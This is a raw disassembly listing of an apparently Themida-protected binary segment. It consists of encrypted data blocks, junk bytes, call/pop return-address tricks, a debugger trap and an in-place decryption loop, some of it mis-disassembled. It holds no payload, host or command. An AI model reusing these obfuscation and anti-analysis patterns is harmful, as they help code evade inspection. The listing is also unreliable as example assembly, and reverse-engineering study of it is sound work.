		jmp	loc_5B7D37
; ---------------------------------------------------------------------------
		push	614DE0Bh
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	614DF70h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	614E0FDh
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	614E1BAh
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	614E314h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	614E4D3h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	614E5B7h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		db 95h
		dd 8211727Eh, 68F75866h, 52E14250h, 3ECD2E3Ch, 0D3B81925h
		dd 1C284151h, 4122CBBh,	0EDF914A3h, 0D4E0FD8Ch,	59386573h
		dd 8F634A45h, 27FCB94h,	0E2F69E5h, 2EA9DB02h, 8AA7FAC4h
		dd 11461D7Eh, 0C568F472h, 84EE762Bh, 98833817h,	6A909B85h
		dd 684927FDh, 0D81AE160h, 9E556764h, 2D9F093Eh,	0E3DAC063h
		dd 6D338F69h, 0F6A318C9h, 4BC53918h, 75000000h,	6F7D9928h
		dd 2B3752A5h, 7F744FC1h, 0A7B89704h, 0B49B8636h, 0D43E4A65h
		dd 364EDD0Ah, 0F20B5E28h, 270A7CE6h, 8F6A1773h,	0A16B7794h
		dd 18099574h, 0AAD08F6Ah, 29F30117h, 8B7ABCC6h,	0E3FE38FEh
		dd 3918C66Eh, 10292h, 0E5024200h, 861B97B0h, 1C0D3938h
		dd 8FBC86F0h, 77C3EEB0h, 5BC5EB95h, 9DAE84F1h, 0F91C183Fh
		dd 6EC18BFDh, 2C7F4955h, 0C39030Fh, 0E956627Dh,	780C940Ah
		dd 0AD1F4595h, 0B2C8FD1Ah, 8953617Bh, 2A8BF55Fh, 78111D4Bh
		dd 5D698695h, 4B2A93FCh, 95780753h, 5BEE6086h, 0CD68323Eh
		dd 1DFC6998h, 9B86251Ah, 0CF5ECBF1h, 8BDEA8B4h,	88FA6470h
		dd 0E81B5027h, 926A9C7Bh, 0F03F957Ah, 0D701CBD7h, 5871006Dh
		dd 0E658824Ch, 53A1079h, 8639F8F2h, 4A5433A0h, 8F89599Bh
		dd 4B64F769h, 364FDE3Fh, 0D306E2BAh, 744E7D1Bh,	0CFF965C8h
		dd 0F2C832F6h, 0B2E46ACAh, 86AAFEC4h, 0D000008h, 0FA89EAF6h
		dd 0E06FD0DEh, 0CA59BAC8h, 0B645A6B4h, 4B30919Dh, 94A0B9C9h
		dd 7C8AA433h, 65718C1Bh, 4C587504h, 0D1B0DDEBh,	8F6348CDh
		dd 2F7430Ch, 137CDDE9h,	7E5D6E84h, 95782620h, 5F2993B9h
		dd 1330C335h, 0BA1AA607h, 0FE0F2585h, 78267F1Fh, 0CA345A95h
		dd 32FCD600h, 39B41F06h, 9D7CE953h, 9B855BC2h, 24324A99h
		dd 59C6305Ah, 3C4861F0h, 39654872h, 0A08F693Ch,	113E087Ah
		dd 84EC6A82h, 6A4DB559h, 0F9DC4EB8h, 8F69B6A1h,	743E4C66h
		dd 2EF80421h, 9075C1CBh, 0E8F93D03h, 39192773h,	0FD95h
		dd 0C1D96800h, 0AACDD1B0h, 0E60C8F69h, 1688B27Ch, 0D9E50286h
		dd 97A3BC0Fh, 6137A0CDh, 0E9922AAFh, 45593C9Dh,	9495773Fh
		dd 4F19FC6Eh, 54957744h, 0E8BE2B37h, 39B8DE81h,	0D4B320E4h
		dd 957738CAh, 1677E90Fh, 396544ADh, 0A0957738h,	5875087Ah
		dd 0C655824Ch, 4F2A9CAAh, 9B7AE71Ah, 9B85569Ch,	1B8362CBh
		dd 0F48F691Bh, 0D802CCDAh, 0AE77E90Fh, 0E8BE2788h, 0A80EE81Bh
		dd 0B48F01A4h, 0F6021BBFh, 0B1BFD92Ch, 0C053BDE7h, 0A7D19BA7h
		dd 2441D03Dh, 0B2244E18h, 1D8F6645h, 0D2F89579h, 88AB8F65h
		dd 400318Eh, 20324E4Fh,	35A711C7h, 142039C8h, 0FF0B24B3h
		dd 0E71B1729h, 0D72BF1B2h, 721h, 0EE4F5B72h, 0D435435Fh
		dd 0BE1F2D45h, 0AA0B192Fh, 95F6021Bh, 51E2EB0h,	0EF0998F9h
		dd 0D6F180E1h, 0BDDA69CAh, 154250B1h, 63476836h, 5CA8718Fh
		dd 99B4E902h, 2F99C38Dh, 16223FCEh, 0E50229B5h,	9FBC0FD9h
		dd 665B3293h, 0AC9F7EEBh, 879B8627h, 0DB6A9761h, 96E9B3C1h
		dd 7407717Dh, 46D94B57h, 2DBC1D29h, 973A0410h, 16B04A24h
		dd 9F3DF9BFh, 0AC157682h, 0A22567D6h, 58CAE967h, 0D29CA8C5h
		dd 23B76C2Fh, 72012E08h, 557F4955h, 7F5DD9E3h, 8CF55662h
		dd 63D5E3FDh, 3AA7B3D0h, 1DF2064h, 8E20D8Fh, 3C6CE77Dh
		dd 0A16BDD2Ah, 23FB99FEh, 4FDE4708h, 355F2937h,	5F7DB9C3h
		dd 6CD53642h, 0EAB4C0DDh, 9EBB4EC0h, 382DC892h,	61865CC9h
		dd 78715418h, 2E14EC0h,	0E312E41h, 845BBCE2h, 0C8A7144Fh
		dd 823324Bh, 0C1AFFED4h, 5833D5AAh, 15F41DE6h, 0FC06B589h
		dd 7E972A50h, 113E0872h, 0B5D5C9A8h, 0DE04FC06h, 5B25334Bh
		dd 0BFDCBF31h, 50FC06B5h, 0C035AC8Ah, 0E4CC7C24h, 320h
		dd 9F1EB994h, 0EBCA37AAh, 9B8655C0h, 4A290D33h,	1078C990h
		dd 0DA47BAAFh, 6931DCFBh, 7F496F14h, 774EFE4h, 0E2546278h
		dd 89789675h, 1B410E5Eh, 4556D8AEh, 211F4E43h, 3D942AFh
		dd 0CB45F852h, 0F2AC8B81h, 0E7023B9Dh, 52E557C1h, 39C82935h
		dd 702E0D1Ch, 69023B9Dh, 41517ED3h, 0ED578FF4h,	0D371AD83h
		dd 0A56B3A02h, 59451h, 0DCE8FF00h, 0C2D0EC7Bh, 0ACBAD261h
		dd 98A6BC4Bh, 838FA837h, 0ABBB3D22h, 96258692h,	7E0D6E7Ch
		dd 67F65763h, 0CFDD3E4Ah, 46DBC3A2h, 35FE8F63h,	4E85BAE9h
		dd 283652E1h, 55C2345Eh, 0FAA483ECh, 0DF957826h, 0E76447B9h
		dd 4C9B8626h, 102AB926h, 99C69002h, 76E3EF0Ah, 6A260797h
		dd 3AACD28Fh, 0B47E8AA7h, 5E36000Ah, 0AE8DFA69h, 9578269Dh
		dd 800F7096h, 3A8D5763h, 8547111Dh, 44617BBBh, 986ED738h
		dd 40B74202h, 27B52799h, 3F27A8B2h, 21FD6h, 85BA8600h
		dd 0B902E14Eh, 5A9B8D02h, 1F38C734h, 0A23B213h,	89134FEh
		dd 0FD8F634Ah, 0B8FED4E0h, 0B2ACDB2Ah, 4D798ECh, 0A5BC0000h
		dd 8DA93899h, 778F1E7Fh, 63790869h, 4C65F455h, 78FADF40h
		dd 0E2434F68h, 0CA2B3953h, 0B314203Bh, 9AFB0724h, 1E805F8Ch
		dd 0BB8F6345h, 85BAA6F2h, 0B902E14Eh, 0B69B8D02h, 4A306E4Dh
		dd 83A98F63h, 58224811h, 7BDCE805h, 0F9C3CFECh,	0B37D89A6h
		dd 6F394560h, 65F8061Ch, 0ECFA144Bh, 0C48EF822h, 0EBF1450Bh
		dd 0D3FDC7D5h, 999D6769h, 0AD1A2643h, 30FA081Eh, 0A9339406h
		dd 391F9334h, 17358h, 99280800h, 29087583h, 95782675h
		dd 39CC3E64h, 0F346101Ch, 9269CAD6h, 0DAB9265Dh, 9B8634E1h
		dd 0E4C59C32h, 48121E3Bh, 5D15441Eh, 471D8AF4h,	1FB19B36h
		dd 0D6A012BFh, 69DB6733h, 56E0A68Fh, 18FE168Bh,	3A3A39h
		dd 28EA0000h, 847E7C52h, 3E835D69h, 441F915Ah, 0D867D40Fh
		dd 0BEE8B2C0h, 5F00DF4Ch, 0FC9B857Bh, 31690CD6h, 0DC8F695Bh
		dd 0FC0A24B3h, 8C960832h, 82C237AAh, 8EE63919h,	96000000h
		dd 0FD9E502h, 0CD97A3BCh, 0E4515D7Ah, 652F3D55h, 0ACFFC93Bh
		dd 9BAF138Fh, 1B67CA92h, 0F77150B1h, 0AC9577BEh, 0B922838Fh
		dd 7F13A0E3h, 96B3098Dh, 2C96C08Ah, 77EADFBAh, 0CA482B0Ah
		dd 153B9B88h, 0F40019A8h, 0DFEB0493h, 0D6F6D909h, 99EDB3ACh
		dd 37Dh, 92F3FF16h, 78D9E703h, 62C3D1E9h, 4EAFBDD3h, 399AA6BFh
		dd 0A9C2D254h, 93AD3C9Dh, 7A952485h, 617E0D6Eh,	0B9E6F455h
		dd 6343C4DAh, 4C158Fh, 7CDDE902h, 63C4D0EDh, 0D9E502D7h
		dd 939FBC0Fh, 203AC932h, 90C5A012h, 228BF461h, 896C384Ch
		dd 8366AD03h, 9577BC1Bh, 432698BEh, 9B85C100h, 9033FD23h
		dd 8F69B70Ch, 0ED8E4FFh, 0CB95A3BBh, 0EAF80EA1h, 83B3BD20h
		dd 80B68082h, 1E10AC82h, 0A56C82A1h, 0F0635833h, 359FA483h
		dd 5E849577h, 0F5A988F1h, 0E4895B2Ch, 5FEB4CBEh, 98B0E502h
		dd 2956208Ah, 80464153h, 0D6487EE1h, 0B91A2643h, 976EDE2h
		dd 85A0912Ah, 925C829Bh, 6984ABEFh, 6339628Fh, 199701A8h
		dd 848E00D4h, 0E5BA2FB2h, 51DE3918h, 0B1000000h, 929EB948h
		dd 0E3BB9EC8h, 0F68F69ECh, 28CE5ED0h, 0A9738199h, 3D320D7Fh
		dd 26BAE4C3h, 3F559578h, 0D8426831h, 35D38C6Bh,	0EE49B86h
		dd 35CC94E9h, 676F84D8h, 97D7E8C2h, 0E107D042h,	6B267417h
		dd 21E78F69h, 7257CC15h, 0E2793919h, 29000000h,	0FF6B5228h
		dd 0B0F7754Eh, 0A3A6443h, 799F9578h, 22577407h,	0CA94FE0Ch
		dd 4955349Dh, 9095780Ah, 4C65F86Ah, 6237640h, 4F65358Ah
		dd 36602A36h, 53D9B65Ch, 0AFCC1FE9h, 426036A3h,	0D89C77B7h
		dd 492889FBh, 9577D01Fh, 0F1001BAAh, 77C68C12h,	0BD274D95h
		dd 0C457C9F3h
		dd 0AB3A9BA7h, 1DB8828Eh, 6D4CB928h, 9B85DBF2h,	6DD64369h
		dd 0D7BAC8DEh, 8F69B0C7h, 197AEC12h, 69D60D42h,	7A58E38Ah
		dd 16E9495h, 0EC4D5972h, 6238445Dh, 0B2E56E28h,	0BEE83C02h
		dd 0D5000001h, 0C251B2BEh, 0A83798A6h, 92218290h, 7E0D6E7Ch
		dd 13F85965h, 5C688191h, 44526CFBh, 2D3954E3h, 14203DCCh
		dd 9978A5B3h, 8F634305h, 2BF0BD4h, 0ED7CDDE9h, 0C857C4D0h
		dd 4F5B78ADh, 7FF11BE5h, 0B26B51Eh, 990B35FFh, 4E85BA09h
		dd 365D02E1h, 0D8FE9B86h, 162F6B0Eh, 18DE8F6Ah,	0C74EC31Eh
		dd 0C1973918h, 4113D0A0h, 6CFE7000h, 0BDh, 0D9E5021Ch
		dd 97A3BC0Fh, 717F9B2Ah, 320835FFh, 847D1E3Ch, 8A6DDF49h
		dd 9577E0DEh, 2F9CA8C5h, 97B87A0h, 0F0FC19A8h, 0CAD8F483h
		dd 0FEF38E58h, 28371683h, 8F9B85EDh, 0ABC938B9h, 9103AF24h
		dd 6A41A2C8h, 0BB91FE75h, 10C729Dh, 81EE6083h, 7A446CA2h
		dd 0E6FE4D95h, 98016ED8h, 72E4F009h, 59BAC6DFh,	0CFA5B1CAh
		dd 0B2E57C6Bh, 0DA4B9F65h, 0B9000000h, 0A63596A2h, 8C1B7C8Ah
		dd 76056674h, 62F15260h, 0F7DC3D49h, 404C6575h,	283650DFh
		dd 111D38C7h, 0F80421B0h, 7D5C8997h, 8F634121h,	28A3EFB8h
		dd 0FD6F7D99h, 0E445516Ah, 7E5EA57Bh, 0AB5B4859h, 5489A639h
		dd 64C52F3Bh, 0D9E502D8h, 3A53E20Fh, 0C29BC2Eh,	0CE4D27FDh
		dd 0BF84625Ch, 77A5C2DCh, 87F11795h, 0E71A4F26h, 821C9B7Ah
		dd 754B9B8Ch, 0B5080D0Dh, 0B982F493h, 0B3EDB190h, 0C6EC8F62h
		dd 223F925Ch, 764CB516h, 271BDB2Ah, 5D770AADh, 2D4ADD4Fh
		dd 5CFDBF8h, 4A771DBh, 52639BCh, 5D790831h, 0E95B854Fh
		dd 688557DFh, 4F6CFB5Ch, 10267943h, 848E3802h, 10D2AB2h
		dd 0E8F411A0h, 13CA1Eh,	287E0000h, 0E5AE1452h, 0B13D646Ah
		dd 84AA24E9h, 0CAAB1D87h, 0DFEB023Eh, 99A5C215h, 55617CCFh
		dd 101E388Bh, 0CEDAF346h, 8C98B104h, 4B596FC2h,	8162E81h
		dd 0C1CFEB3Eh, 0B76897F7h, 89000045h, 0ED682414h, 89000036h
		dd 46682414h, 89000064h, 0BD55243Ch, 62D92663h,	0EE02F6BAh
		dd 8BEA2968h, 0C481242Ch, 4, 4EC81h, 24890000h,	24048124h
		dd 4, 0B850525Fh, 7FE1652Eh, 4244401h, 8478F58h, 2E086F81h
		dd 8B7FE165h, 8957243Ch, 4C781E7h, 83000000h, 3C8704C7h
		dd 148B5C24h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h
		dd 0FA647FE9h
; ---------------------------------------------------------------------------
		jmp	fword ptr [ebp-4Ch]
; ---------------------------------------------------------------------------


loc_5B7D37:				; CODE XREF: Themida_:005B7244j
		mov	eax, 614E6B6h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 75F98AE8h, 7F439766h, 4E28D07Bh, 23704983h, 9248765h
		dd 77F521Ah, 4B5CDC9Bh,	6B02BA90h, 124635DCh, 79B80C41h
		dd 212EBBE7h, 0DFD3CB2h
; ---------------------------------------------------------------------------


loc_5B7D70:				; DATA XREF: Themida_:0055DED8o
		lea	ecx, [ebp+614E813h]
		mov	[ebp+60E0095h],	esi
		mov	[ebp+60E2FC5h],	ecx
		push	eax
		xor	ebx, [ebp+60E1491h]
		pop	edi
		mov	dword ptr [ebp+60E0881h], 6790h
		mov	esi, [ebp+60E31D5h]
		mov	dword ptr [ebp+60E28D9h], 0
		or	[ebp+60E31CDh],	edi
		mov	bx, 1CB0h
		push	dword ptr [ebp+60E0801h]
		push	0
		push	ebp
		call	sub_5B7DBF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7DBF	proc near		; CODE XREF: Themida_:005B7DB7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5B7DBF	endp

; ---------------------------------------------------------------------------
		push	ecx
		jnb	loc_5B7DEF
		jmp	loc_5B7DEF
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0B39CF318h, 0C082F08Bh, 0B7341FAEh, 196BF660h
		db 64h,	0ABh, 0ECh
; ---------------------------------------------------------------------------


loc_5B7DEF:				; CODE XREF: Themida_:005B7DD0j
					; Themida_:005B7DD6j
		call	dword ptr [ebp+60E09B9h]
		mov	[ebp+60E1AD5h],	ecx
		push	edi
		jmp	loc_5B7E07
; ---------------------------------------------------------------------------
		pop	es
		dec	ebx
		int	3		; Trap to Debugger
		aam	0E0h
		cld


loc_5B7E07:				; CODE XREF: Themida_:005B7DFCj
		pop	edx
		push	0
		call	dword ptr [ebp+60E0F45h]
		mov	eax, eax
		jmp	short loc_5B7E22
; ---------------------------------------------------------------------------
		dd 0D692D4B6h, 65CF097Ah, 469801EEh
		db 5Fh,	0F4h
; ---------------------------------------------------------------------------


loc_5B7E22:				; CODE XREF: Themida_:005B7E12j
		lea	ecx, [ebp+614E917h]
		push	0
		push	ecx
		call	sub_5B7E33
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7E33	proc near		; CODE XREF: Themida_:005B7E2Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5B7E33	endp

; ---------------------------------------------------------------------------
		test	eax, 0C58D89B0h
		das
		push	cs
		push	es
		push	0
		push	ecx
		call	sub_5B7E56
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7E56	proc near		; CODE XREF: Themida_:005B7E4Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5B7E56	endp

; ---------------------------------------------------------------------------
		dw 0E37Ah
		dd 0B2DD7BCh, 0E000D95h, 8185C706h, 0D0060E08h,	6A00005Ch
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 7119C352h, 5E884h, 0A3280000h, 0E8E5914Dh
		dd 0Fh,	0D97A06A2h, 5ED9C838h, 0A6A076B5h, 0FC8CE38Ah
		dd 85C75F58h, 60E28D9h,	0
; ---------------------------------------------------------------------------
		stc
		push	dword ptr [ebp+60E07C1h]
		push	0
		push	eax
		call	sub_5B7ED6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7ED6	proc near		; CODE XREF: Themida_:005B7ECEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5B7ED6	endp

; ---------------------------------------------------------------------------
		dw 0F7EEh
		dd 95FF23B2h, 60E09B9h,	10E8h, 0F54DBF00h, 0ECCDFD0Bh
		dd 0B416CA4Ah, 0A756E6CFh, 9DBD89A8h, 5B060E1Ah, 95FF006Ah
		dd 60E0F45h, 5CEBC08Bh,	0AE4F0AE3h, 0A2AF6B2Ch,	0D1A6C9C9h
		dd 0B51A5711h, 0CEAE810Ah, 47E32E9h, 0B8BABE2Bh, 584CE165h
		dd 5F20010h, 0D53ACBFEh, 0D4E07CE6h, 166FE714h,	54E63DC7h
		dd 0E2D64AB0h, 89E84C91h, 5DCA7BBFh, 0AD327EB8h, 0B56F9C6Fh
		dd 0F526034Dh, 58967836h, 100A1A2Ah, 0A9F794A2h, 9C793D40h
		dd 0FE8h, 0E139B300h, 1DC9BED8h, 1F0E925Ch, 47497B54h
		dd 0A090BBB9h, 0BD295B09h, 60E0D11h, 6A61C381h,	8B660000h
		dd 0BEFBh, 14E90000h, 0C3000000h, 36E62F86h, 23BBEFEBh
		dd 0E2DE5E80h, 3F484709h, 0FFD4A6D2h, 858B1E34h, 60E03C5h
		dd 4D85895Ah, 81060E1Ah, 0E458EDEAh, 859D897Eh,	81060E2Ch
		dd 0B4C929F2h, 74C98019h, 796DF281h, 8B6004EAh,	0E1A058Dh
		dd 4AD28106h, 61453491h, 0B4331489h, 0B9B52929h, 83060E33h
		dd 0F5304EEh, 286h, 58616000h, 9668FE81h, 850FFFFFh, 10h
		dd 29E9h, 881DDD00h, 56A7246Dh,	530C9B36h, 0F75B589h, 88E9060Eh
		dd 0C3FFFFFFh, 0C11ED247h, 0E0B1C2E2h, 96A7E4F3h, 191AB31Dh
		dd 0AE8C3D5h, 48000000h, 0AB6B584Dh, 59152925h,	6820F77h
		dd 8B000000h, 0E22ADB5h, 0CE95806h, 0A8000000h,	0A1C429D2h
		dd 0E11D4C94h, 81FB3214h, 5935C0h, 6800h, 0D38B0000h, 958D8959h
		dd 0FF060E0Ch, 0BD890134h, 60E0B2Dh, 0DAEB815Bh, 0F7E9845h
		dd 68Dh, 19BD8900h, 81060E07h, 0C79F18EBh, 14E83Ah, 2FB00000h
		dd 0C801BE60h, 6B2DA878h, 7FEFAFEEh, 0DE30EAA8h, 0CE819D1Ch
		dd 9631496h, 87EB815Ah,	0F323C06h, 0D8Ah, 8E900h, 3B290000h
		dd 7C47BD64h, 89537273h, 0E0AB595h, 8048F06h, 0FE9h, 89722500h
		dd 0BDDEB381h, 0BB3CE809h, 2282CABEh, 0E983D08Bh, 958B6002h
		dd 60E1FB1h, 60494961h,	31958B57h, 5A060E31h, 50625EBAh
		dd 0F9816157h, 0FFFFA7ACh, 0FF5D850Fh, 9531FFFFh, 60E0E89h
		dd 0EC1A8D8Dh, 6A0614h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 2AD8BDC3h, 0F69A399Ah, 0E98B392Dh
		dd 5, 0B0CC67C2h, 798589B2h, 89060E08h,	0E2FC58Dh, 14E906h
		dd 0A4750000h, 0D9C3A8DEh, 9785EA17h, 76B05057h, 22893575h
		dd 85C7F644h, 60E0881h,	6C50h, 61B589h,	9D33060Eh, 60E1989h
		dd 28D985C7h, 60Eh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 190424h, 56460000h, 14F310C3h, 0FF85DCF4h
		dd 0E0801B5h, 79BD8B06h, 0FF060E08h, 0E09B995h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 91C0AFEh, 1B8E6C9h, 68F0F02h, 29000000h, 0E1C71BDh
		dd 6AE38A06h, 4595FF00h, 8B060E0Fh, 430EEBC0h, 0EBB9FA51h
		dd 674AE348h, 105757C4h, 0D98D8DA9h, 8B0614ECh,	0E0061BDh
		dd 0C58D8906h, 6A060E2Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 54D2C357h, 880FBA0Ch
		dd 6, 1611B58Bh, 85C7060Eh, 60E0881h, 6508h, 21BD8503h
		dd 85C7060Eh, 60E28D9h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5B828B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B828B	proc near		; CODE XREF: Themida_:005B8283p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5B828B	endp

; ---------------------------------------------------------------------------
		fsub	qword ptr [esi-7Fh]
		rol	ebp, cl
		cmp	bh, 0B5h
		test	[esi+ecx], esp
		push	es
		movsx	eax, si
		call	dword ptr [ebp+60E09B9h]
		push	0
		push	ecx
		call	sub_5B82BB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B82BB	proc near		; CODE XREF: Themida_:005B82B3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5B82BB	endp

; ---------------------------------------------------------------------------
		sbb	[ebx-0FF952Dh],	ecx
		xchg	eax, ebp
		inc	ebp
		femms
		push	es
		mov	eax, eax
		jmp	short loc_5B8353
; ---------------------------------------------------------------------------
		dw 0BC02h
		dd 0A78BD844h, 0C08EAF87h, 6B33AABAh, 0A6737084h, 2E3996ABh
		dd 0D9E99747h, 70BA460Dh, 3721DBA9h, 7CC040F6h,	8A29703Ah
		dd 0B1B891Ch, 0D95D05ABh, 5FE74499h, 0AFA6AFEFh, 0CE558D77h
		dd 48B8A7E6h, 502F6006h, 24D3FBB8h, 7589EE7Dh, 5326395Eh
		dd 738BA490h, 0DF939CD3h, 0F4F46CC9h, 9D6859FCh, 0FE88F876h
		dd 0E7C01150h, 0B287548Bh, 502A6ECAh, 0BB776DEDh
		db 6Bh,	6Ch, 9Eh
; ---------------------------------------------------------------------------


loc_5B8353:				; CODE XREF: Themida_:005B82D8j
		lea	ecx, [ebp+614EE04h]
		push	0
		push	esi
		call	sub_5B8364
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8364	proc near		; CODE XREF: Themida_:005B835Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5B8364	endp

; ---------------------------------------------------------------------------
		mov	[ecx], dh
		mov	eax, [ebp+60E1CF5h]
		xor	[ebp+60E2C49h],	eax
		mov	[ebp+60E2FC5h],	ecx
		jmp	loc_5B8396
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------


loc_5B838E:				; CODE XREF: Themida_:005B83EEj
		mov	bl, bh
		add	esi, [ebx+ecx]
		xchg	eax, edx
		xor	edx, ebx


loc_5B8396:				; CODE XREF: Themida_:005B8388j
		mov	dword ptr [ebp+60E0881h], 6B0Ch
		mov	edx, 14C3C6B0h
		mov	dword ptr [ebp+60E28D9h], 0
		sub	dx, 0D20Dh
		push	dword ptr [ebp+60E00D5h]
		jmp	loc_5B83C8
; ---------------------------------------------------------------------------
		db 8Eh
		dd 0C95716BFh, 315E7D54h
; ---------------------------------------------------------------------------


loc_5B83C8:				; CODE XREF: Themida_:005B83BAj
		call	dword ptr [ebp+60E09B9h]
		push	0
		push	esi
		call	sub_5B83D9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B83D9	proc near		; CODE XREF: Themida_:005B83D1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5B83D9	endp

; ---------------------------------------------------------------------------
		db 6, 47h, 7Fh
; ---------------------------------------------------------------------------
		mov	al, 4Fh
		jz	short loc_5B838E
		add	[eax+15BD8B8Ch], ebp
		sbb	[esi], cl
		push	es
		push	0
		call	dword ptr [ebp+60E0F45h]
		mov	eax, eax
		jmp	short loc_5B8470
; ---------------------------------------------------------------------------
		db 2Dh,	6Ah, 0F4h
		dd 0AAF4FADAh, 0A3AD7E6Dh, 6DECDE80h, 781477A0h, 0D516CD4h
		dd 52941F4Eh, 803C9F8Fh, 0EC1FD6B1h, 3FD78EBCh,	22E4506Bh
		dd 0ADE0EB51h, 0ACCEFB25h, 4C2B42DAh, 580F6CEAh, 0C8CD013Dh
		dd 55B9FCD4h, 0F7AA0652h, 9E39266Fh, 5756168Ch,	8593A209h
		dd 8E15ECE6h, 93CD5A4Eh, 72B7E69Eh, 0D14C2873h,	0F0020E9Fh
		dd 70E52673h
; ---------------------------------------------------------------------------


loc_5B8470:				; CODE XREF: Themida_:005B8403j
		call	sub_5B847D
		mov	edi, 3D0BB525h
		or	bl, 4Eh

; =============== S U B	R O U T	I N E =======================================



sub_5B847D	proc near		; CODE XREF: Themida_:loc_5B8470p
		mov	ax, 51Ch
		pop	edi
		mov	[ebp+60E1A39h],	ecx
		add	edi, 5EC4h
		mov	[ebp+60E0A89h],	eax
		mov	ebx, 0
		jmp	loc_5B84A6
; ---------------------------------------------------------------------------
		dw 0B163h
		dd 7EF057B7h
; ---------------------------------------------------------------------------
		cmp	cl, [edx]


loc_5B84A6:				; CODE XREF: sub_5B847D+1Cj
					; sub_5B847D:loc_5B8528j
		push	dword ptr [ebx+edi]
		sub	edx, [ebp+60E143Dh]
		pop	ecx
		mov	[ebp+60E0A25h],	esi
		sub	ecx, 1846860h
		mov	[ebp+60E00E5h],	eax
		sub	ecx, 841CD94h
		jnz	loc_5B84D0
		mov	esi, edx


loc_5B84D0:				; CODE XREF: sub_5B847D+4Bj
		sub	ecx, 528DC8BDh
		mov	[edi+ebx], ecx
		mov	[ebp+60E15A5h],	edi
		mov	[ebp+60E16CDh],	eax
		sub	ebx, 2
		mov	[ebp+60E1D69h],	ecx
		dec	ebx
		dec	ebx
		jmp	loc_5B8509
; ---------------------------------------------------------------------------
		db 0Dh,	4Ch, 84h
		dd 0EF014F03h, 94290271h, 0B4330D74h, 0E05BB98Ah
; ---------------------------------------------------------------------------
		std


loc_5B8509:				; CODE XREF: sub_5B847D+73j
		cmp	ebx, 0FFFFA1F8h
		jnz	loc_5B8528
		push	esi
		mov	[ebp+60E2C6Dh],	ebx
		pop	edx
		jmp	loc_5B8535
; ---------------------------------------------------------------------------
		wait
		mov	eax, ds:0F95CF241h


loc_5B8528:				; CODE XREF: sub_5B847D+92j
		jmp	loc_5B84A6
; ---------------------------------------------------------------------------
		db 0B4h, 0EAh, 84h
		dd 0E5742C11h
; ---------------------------------------------------------------------------
		setalc


loc_5B8535:				; CODE XREF: sub_5B847D+A0j
		lea	ecx, [ebp+614EFAFh]
		mov	edx, 4897F4B4h
		mov	[ebp+60E2FC5h],	ecx
		mov	esi, [ebp+60E1765h]
		mov	bl, 7Fh
		mov	dword ptr [ebp+60E0881h], 6484h
		mov	edx, [ebp+60E30A9h]
		mov	dword ptr [ebp+60E28D9h], 0
		push	ecx
		jmp	loc_5B857F
; ---------------------------------------------------------------------------
		dw 98A2h
		dd 284ED31h, 65BF33BEh,	2E83FDEh
		db 3Ah,	86h, 0F0h
; ---------------------------------------------------------------------------


loc_5B857F:				; CODE XREF: sub_5B847D+ECj
		pop	eax
		add	al, 0A2h
		push	dword ptr [ebp+60E2485h]
		call	dword ptr [ebp+60E09B9h]
		call	near ptr loc_5B8599+4
		xchg	eax, esp
		add	esi, eax
		push	ebp
		dec	ecx


loc_5B8599:				; CODE XREF: sub_5B847D+112p
		test	eax, 891374F2h
sub_5B847D	endp ; sp-analysis failed

		xchg	eax, ebp
		dec	ebp
		db	2Eh
		push	cs
		push	es
		pop	eax
		push	0
		call	dword ptr [ebp+60E0F45h]
		mov	eax, eax
		jmp	short loc_5B8629
; ---------------------------------------------------------------------------
		lodsd
		mov	eax, ds:607C6623h
		add	eax, 0C105D764h
		mov	edi, 6DAB73E3h
		mov	ch, 0C3h
		push	esp
